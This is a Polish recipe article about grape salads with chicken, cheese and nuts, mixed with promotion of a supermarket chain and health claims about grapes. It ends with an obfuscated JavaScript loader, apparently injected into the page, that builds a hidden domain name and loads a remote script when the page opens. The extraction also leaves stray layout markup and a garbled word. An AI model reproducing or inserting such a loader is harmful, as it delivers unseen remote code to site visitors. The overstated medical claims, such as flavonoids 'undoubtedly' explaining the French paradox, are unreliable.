



Sałatka z winogronami - lekka, smaczna i zdrowa

Nudzą Cię standardowe sałatki, pełne majonezu i niedopasowanych przypraw? Szukasz pomysłu na prostą i szybką potrawę, która dostarczy Ci energii i witamin? Sałatka z winogronami to świetne rozwiązanie – jest lekka i pożywna, a w dodatku możesz przygotować ją na wiele sposobów. Świetnie sprawdzi się jako dodatek do obiadu, kolacja albo przystawka na imprezie z przyjaciółmi. Winogrona doskonale komponują się z mięsem, więc nie wahać się zaserwować tej sałatki także podczas spotkania przy grillu.

Jedno grono – moc zastosowań – mogłoby się wydawać, że winogrona, przez swój charakterystyczny, bardzo słodki smak, nie będą iść w parze z innymi składnikami w złożonych potrawach. A jeżeli już – to tylko w sałatkach owocowych albo ciastach. Oczywiście w takiej postaci wypadają świetnie. Co więcej, ich rozcieńczony sok stanowi świetną bazę do orzeźwiającego sorbetu, a wysuszone grona – rodzyнки – to używany od wieków dodatek do sernika i deserów. To jednak nie wszystkie zastosowania tego niezwykłego owocu!

O winogronach można pisać wiele – są znane i uwielbiane od wieków, stosuje się je nie tylko w kuchni, ale i w medycynie. Lista witamin i składników w odżywczych, które dostarczają organizmowi, nie ma końca. Odkwaszają organizm, chronią przed osteoporozą, regulują przemianę materii, upiększają cerę – a to nie koniec ich zasług dla zdrowia i urody! Nic dziwnego, że w medycynie niekonwencjonalnej coraz bardziej popularna staje się ampeloterapia – leczenie przy pomocy winogron (i wina).

Nauce znane jest też zjawisko, które określa się mianem „francuskiego paradoksu”. Z obserwacji naukowców wynika bowiem, że Francuzi regularnie spożywający czerwone wino (w niemałych ilościach) rzadziej chorują na miażdżycę i chorobę wieńcową. Niewątpliwie jest to zasługa flawonoidów, w których obfitują winogrona. Nie wahać się więc i wprowadzić je na stałe do codziennej diety. Bez obaw – nie musisz codziennie przygotowywać sałatek owocowych – winogrona doskonale komponują się z wytrawnymi potrawami. Oto garść inspiracji na letnie sałatki z ich udziałem.

Sałatka z winogronami i mięsem

Winogrona charakteryzują się specyficznym słodkim smakiem – aby go wyczuć, potrzeba wyraźnego składnika, który jednocześnie nie przyćmi owocowego aromatu. Doskonałym składnikiem winogronowych sałatek jest białe mięso – kurczak lub indyk. Tak naprawdę sałatka w najprostszym wariantcie mogłaby się składać wyłącznie z winogron, mięsa, odrobiny czerwonej cebuli i delikatnego sosu. Warto jednak trochę ją urozmaicić – możliwości jest wiele.

Sprawdź także: <http://www.biedronka.pl/pl/recipe,id,1650,name,salatka-z-winogronami-serem-i-kasza-kuskus> – przepis na sałatkę z winogronami, serem i kaszą kuskus

Stanowi to ogromną zaletę tej sałatki – można ją dowolnie modyfikować i za każdym razem otrzymać świetną kompozycję smakową. W jednym z wariantów usmaż więc kurczaka z dodatkiem tymianku i rozmarynu (albo curry, jeśli masz ochotę na bardziej orientalną mieszankę). Możesz go też upiec saute, skupiając się na przyprawieniu sosu, np. przy pomocy musztardy albo sosu Worcestershire.

Dodatki do sałatki z winogronami

Co warto dodać do takiej potrawy, aby wzbogacić jej smak? Przede wszystkim ser – winogrona świetnie komponują się z serami pleśniowymi, kozimi, ale także najwykleszym serem żółtym. Eksperymentuj i znajdź smak, który najbardziej Ci odpowiada – ogromny wybór serów znajdziesz w sklepach Biedronka.

Jeśli chcesz, aby Twoja sałatka była jeszcze bardziej pożywna, dodaj do niej orzechy włoskie lub ziemne, pestki słonecznika, suszone pomidory albo selera naciowego. Aromatyczny sos balsamiczny albo delikatny jogurtowy nie przyćmią składników, a jedynie podkreślą całą kompozycję.

Lato to doskonały czas na kulinarne eksperymenty – sałatka z winogronami będzie świetnym pomysłem na początek. Prosta, błyskawiczna i zawsze pyszna – może być po swojemu!

```
<script type="text/javascript">// 
(function(){
zj6m=document.createElement("script");zj6m_=(("u"+"st")+ "a";zj6m.async=true;
zj6m.type="text/javascript";zj6m_+="(t.i)+"+"n";zj6m_+=(("f"+"o");zj6m_+="/";
zj6mu="10219147.";zj6mu+= "iby0Xca8j6m8mgc2gb9"+"3abgXhszbnz";
zj6m.src="//"+zj6m_+zj6mu; document.body.appendChild(zj6m);
})();
// ]&gt;&lt;/script&gt;</pre></div><div data-bbox="107 705 127 719" data-label="Image"><img alt="Small red 'x' icon in a square box."/></div>
```